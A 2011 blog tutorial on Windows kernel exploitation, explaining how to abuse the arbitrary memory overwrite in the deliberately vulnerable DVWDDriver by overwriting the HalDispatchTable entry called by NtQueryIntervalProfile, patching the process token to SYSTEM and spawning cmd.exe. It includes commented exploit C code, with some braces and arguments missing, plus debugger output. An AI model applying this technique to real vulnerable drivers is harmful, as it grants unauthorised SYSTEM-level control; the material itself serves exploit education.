dimanche 17 juillet 2011

Windows Kernel Exploitation Basics - Part 2 : Arbitrary Memory Overwrite exploitation using HalDispatchTable

In this article, we will see a method to exploit the write-what-where vulnerability (Arbitrary Memory Overwrite) present in the DVWDDriver. This method consists in overwriting a pointer in a kernel dispatch table. Such tables are used by the kernel to store various pointers. Example of such tables:
  • The SSDT (System Service Descriptor Table) nt!KeServiceDescriptorTable stores addresses of syscalls; it is used by the kernel in order to dispatch syscalls (more information in [1]).
  • The HAL Dispatch Table nt!HalDispatchTable. HAL (Hardware Abstraction Layer) is used in order to isolate the OS from the hardware. Basically, it permits to run the same OS on machines with different hardwares. This table stores pointers to routines used by the HAL.
Here, we will overwrite a specific pointer into the HalDispatchTable. Let's see why and how... =) The big reference for everything that is sum up here is the paper [2].

1. NtQueryIntervalProfile() and HalDispatchTable

According to [3], NtQueryIntervalProfile() is an undocumented system call exported by ntdll.dll that retrieves currently set delay between performance counter's ticks. It calls the KeQueryIntervalProfile() function exported by the kernel executive ntoskrnl.exe. If we disassemble that function, we can see the following:

So, a call to the routine located at the address nt!HalDispatchTable+0x4 is done (see the red box). Therefore, if we overwrite the pointer at that address - that's to say the second pointer into the HalDispatchTable - with the address of our shellcode; and then if we call the function NtQueryIntervalProfile(), our shellcode will be executed !

2. Methodology of exploitation

Note: GlobalOverwriteStruct is the global structure used by the driver for storing a buffer and its size.

In order to exploit the Arbitrary Memory Overwrite vulnerability, the basic idea is to:
  1. Use the DVWDDriver's IOCTL DEVICOIO_DVWD_STORE in order to store the address of our shellcode into the buffer of the structure GlobalOverwriteStruct that lies in kernelland. Remember that the address we pass in parameter must be in the user memory address space (ie. address <= 0x7FFFFFFF) because a check is done in the IOCTL handler using the function ProbeForRead(). Ok, no problem, we just pass a pointer to the address of our shellcode (of course, it points to userland) ! So, the struct we pass to the driver contains this pointer and the value 4 for the size of the buffer.
  2. Then, use the DVWDDriver's IOCTL DEVICOIO_DVWD_OVERWRITE in order to write the content of the buffer located at the address stored into the buffer of GlobalOverwriteStruct - that's to say the previously added address of the shellcode - at the address passed in parameter. Remember that this time, there is no check in the IOCTL handler and so, this address can be everywhere, whether in userland or in kernelland. Therefore, we will pass  the address of the second entry in the HalDispatchTable, of course this is in kernelland.
So to sum up, we abuse the IOCTL  DEVICOIO_DVWD_OVERWRITE in order to write what we want, where we want:
  • what =  address of our shellcode,
  • where = address of nt!HalDispatchTable+0x4
It's important to understand that it's necessary to control those 2 components in order to exploit that kind of vulnerability.

NB: Here, we can overwrite the whole addresses (4 bytes) but we can imagine a case where we can only overwrite 1 byte. In such a scenario, it's necessary to overwrite the MSB (Most Significant Byte) of the second entry of HalDispatchTable with a value that makes the address in userland (< 0x80000000): for example, we can take 0x01. Then, we need to put a large NOP sled in the address range 0x01000000-0x02000000 (memory marked as RWX) with a jump to our shellcode at the end.

Hey... wait ! I have to talk about the shellcode we use...

3. Shellcoding... patch my Access Token and go back to Ring 3
It's not like when we're exploiting a software in userland, here our shellcode will be executed in kernelland and so we don't have the right to do any mistake or we will get a BSOD in our face. Typically in kernel local exploitation, we use the full privileges we have when we are in Ring 0 in order to patch the Access Token of the current process to change the User SID of the process by the SID of NT AUTHORITY\SYSTEM. And then, we go back to Ring 3 as quickly as possible and then, we can do what we want such as spawning a shell.

In Windows, the Access Token (or just called Token) is used for describing the security context of a process or a thread. In particular, it stores the User SID, a list of Groups SIDs and a list of Privileges. Based on this information, the kernel is able to decide if an action asked by the process is authorized or not (access control). In user space, it's possible to get an handle on a Token. More information about Tokens is given in [4].
Here is the detail of the structure _TOKEN used for describing an Access Token:

kd> dt nt!_token
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER
   +0x030 TokenLock        : Ptr32 _ERESOURCE
   +0x038 AuditPolicy      : _SEP_AUDIT_POLICY
   +0x040 ModifiedId       : _LUID
   +0x048 SessionId        : Uint4B
   +0x04c UserAndGroupCount : Uint4B
   +0x050 RestrictedSidCount : Uint4B
   +0x054 PrivilegeCount   : Uint4B
   +0x058 VariableLength   : Uint4B
   +0x05c DynamicCharged   : Uint4B
   +0x060 DynamicAvailable : Uint4B
   +0x064 DefaultOwnerIndex : Uint4B
   +0x068 UserAndGroups    : Ptr32 _SID_AND_ATTRIBUTES
   +0x06c RestrictedSids   : Ptr32 _SID_AND_ATTRIBUTES
   +0x070 PrimaryGroup     : Ptr32 Void
   +0x074 Privileges       : Ptr32 _LUID_AND_ATTRIBUTES
   +0x078 DynamicPart      : Ptr32 Uint4B
   +0x07c DefaultDacl      : Ptr32 _ACL
   +0x080 TokenType        : _TOKEN_TYPE
   +0x084 ImpersonationLevel : _SECURITY_IMPERSONATION_LEVEL
   +0x088 TokenFlags       : UChar
   +0x089 TokenInUse       : UChar
   +0x08c ProxyData        : Ptr32 _SECURITY_TOKEN_PROXY_DATA
   +0x090 AuditData        : Ptr32 _SECURITY_TOKEN_AUDIT_DATA
   +0x094 LogonSession     : Ptr32 _SEP_LOGON_SESSION_REFERENCES
   +0x098 OriginatingLogonSession : _LUID
   +0x0a0 VariablePart     : Uint4B

The list of pointers to SIDs is stored in the field UserAndGroups (type _SID_AND_ATTRIBUTES). We can retrieve information contained into a Token for a given process with kd, as follows (example with the "System" process):

kd> !process 0004
Searching for Process with Cid == 4
Cid handle table at e1ed7000 with 428 entries in use

PROCESS 827a6648  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00587000  ObjectTable: e1000c60  HandleCount: 388.
    Image: System
    VadRoot 82337238 Vads 4 Clone 0 Private 3. Modified 5664. Locked 0.
    DeviceMap e1001070
    Token                             e1001720
    ElapsedTime                       00:37:34.750
    UserTime                          00:00:00.000
    KernelTime                        00:00:01.578
    QuotaPoolUsage[PagedPool]         0
    QuotaPoolUsage[NonPagedPool]      0
    Working Set Sizes (now,min,max)  (43, 0, 345) (172KB, 0KB, 1380KB)
    PeakWorkingSetSize                526
    VirtualSize                       1 Mb
    PeakVirtualSize                   2 Mb
    PageFaultCount                    4829
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      8

kd> !token e1001720
_TOKEN e1001720
TS Session ID: 0
User: S-1-5-18
 00 S-1-5-32-544
    Attributes - Default Enabled Owner
 01 S-1-1-0
    Attributes - Mandatory Default Enabled
 02 S-1-5-11
    Attributes - Mandatory Default Enabled
Primary Group: S-1-5-18
 00 0x000000007 SeTcbPrivilege                    Attributes - Enabled Default
 01 0x000000002 SeCreateTokenPrivilege            Attributes -
 02 0x000000009 SeTakeOwnershipPrivilege          Attributes -

Well, the idea is actually to replace the pointer to the process owner's SID by a pointer to the built-in NT AUTHORITY\SYSTEM SID (S-1-5-18). We also patch the group BUILTIN\Users SID (S-1-5-32-545) with the group BUILTIN\Administrators SID (S-1-5-32-544).

The source code is in the file Shellcode32.c. It's taken from DVWDDriver, I've just added many comments to make it easily understandable.

4.To sum up...
Here is what we need to do in the exploit:
  1. Load the kernel executive ntoskrnl.exe in userland in order to be able to get the offset of HalDispatchTable and then to deduce its address in kernelland.
  2. Retrieve the address of our shellcode. This is actually the address of the function aimed to patch the Access Token. But... there is a tricky point to notice: the pointer that we overwrite in HalDispatchTable normally points to a function which takes 4 arguments (4 values are pushed on the stack before: call dword ptr [nt!HalDispatchTable+0x4]). Therefore, we use a shellcode function with 4 arguments, just for compatibility reasons.
  3. Retrieve the address of the syscall NtQueryIntervalProfile() within ntdll.dll.
  4. Overwrite the pointer at nt!HalDispatchTable+0x4 with the address of our shellcode function.. yeah the one with 4 arguments that patches the process' Token. This is done by calling DeviceIoControl() 2 consecutive times for sending 2 IOCTL: DEVICOIO_DVWD_STORE and then DEVICOIO_DVWD_OVERWRITE in the way it was explained in paragraph 2.
  5. Call the function NtQueryIntervalProfile() in order to launch the shellcode
  6. Well.. at this point the process is running under the System account, so we're done and we can spawn a shell for example, or do what else we want !
A global overview is given in the following figure taken from [2]

    5. Exploit code

    Here is the code of the exploit developed by the authors of DVWDDriver. When I've read that code, I've added many comments in order to be sure to understand everything that is done. With the previous explanation, it should be actually quite easy to understand, nothing is very tricky here =)

    // ----------------------------------------------------------------------------
    // Arbitrary Memory Overwrite exploitation ------------------------------------
    // ---- HalDispatchTable pointer overwrite method -----------------------------
    // ----------------------------------------------------------------------------
    // Overwrite kernel dispatch table HalDispatchTable's second entry:
    //  - STORE the address of the shellcode (pointer in kernelland, points to userland)
    //  - OVERWRITE the second pointer in the HalDispatchTable with the address of the shellcode
    BOOL OverwriteHalDispatchTable(ULONG_PTR HalDispatchTableTarget, ULONG_PTR ShellcodeAddrStorage) {
     HANDLE hFile;
     BOOL ret;
     DWORD dwReturn;
     // Open handle to the driver
     hFile = CreateFile(L"\\\\.\\DVWD", 
     if(hFile != INVALID_HANDLE_VALUE) {
      // -> store the address of the shellcode into kernelland (GlobalOverwriteStruct) 
      overwrite.Size = 4;
      overwrite.StorePtr = (PVOID)&ShellcodeAddrStorage;
      ret = DeviceIoControl(hFile, DEVICEIO_DVWD_STORE, &overwrite, 0, NULL, 0, &dwReturn, NULL);
      // -> copy the content of the buffer in kernelland (the address previously added)
      // to the location HalDispatchTableTarget (second entry in the HalDispatchTable)
      overwrite.Size = 4;
      overwrite.StorePtr = (PVOID)HalDispatchTableTarget;
      ret = DeviceIoControl(hFile, DEVICEIO_DVWD_OVERWRITE, &overwrite, 0, NULL, 0, &dwReturn, NULL);
      return TRUE;
     return FALSE;  
    typedef NTSTATUS (__stdcall *_NtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval);
    BOOL TriggerOverwrite32_NtQueryIntervalProfileWay() {
     ULONG dummy = 0;
     ULONG_PTR HalDispatchTableTarget;
     ULONG_PTR ShellcodeAddrStorage; 
     _NtQueryIntervalProfile NtQueryIntervalProfile;
     // Load the Kernel Executive ntoskrnl.exe in userland and get some symbol's kernel address
     if(LoadAndGetKernelBase() == FALSE) {
      return FALSE;
     // Retrieve the address of the shellcode
     ShellcodeAddrStorage = (ULONG_PTR)UserShellcodeSIDListPatchUser4Args;
     // Retrieve the address of the second entry within the HalDispatchTable
     HalDispatchTableTarget = HalDispatchTable + sizeof(ULONG_PTR);
     // Retrieve the address of the syscall NtQueryIntervalProfile within ntdll.dll
     NtQueryIntervalProfile  = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryIntervalProfile");
     // Overwrite the pointer in HalDispatchTable
     if(OverwriteHalDispatchTable(HalDispatchTableTarget, ShellcodeAddrStorage) == FALSE) {
      return FALSE;
     // Call the function in order to launch our shellcode
     // kd> u nt!KeQueryIntervalProfile
     NtQueryIntervalProfile(2, &dummy);
     if (CreateChild(_T("C:\\WINDOWS\\SYSTEM32\\CMD.EXE")) != TRUE) {
      wprintf(L"Error: unable to spawn process, Error: %d\n", GetLastError());
      return FALSE;
     return TRUE;

    6. w00t ?

    It's time to try the exploit:
    DVWDExploit.exe --exploit-overwrite-profile-32

    Yeah !! we spawn a shell cmd.exe that is running with NT AUTHORITY\SYSTEM privileges. w00t =)


    [1] SSDT Uninformed article

    [2] Exploiting Common Flaws in Drivers, by Ruben Santamarta

    [3] NtQueryIntervalProfile(),

    [4] Windows Internals, book by Mark Russinovich & David Salomon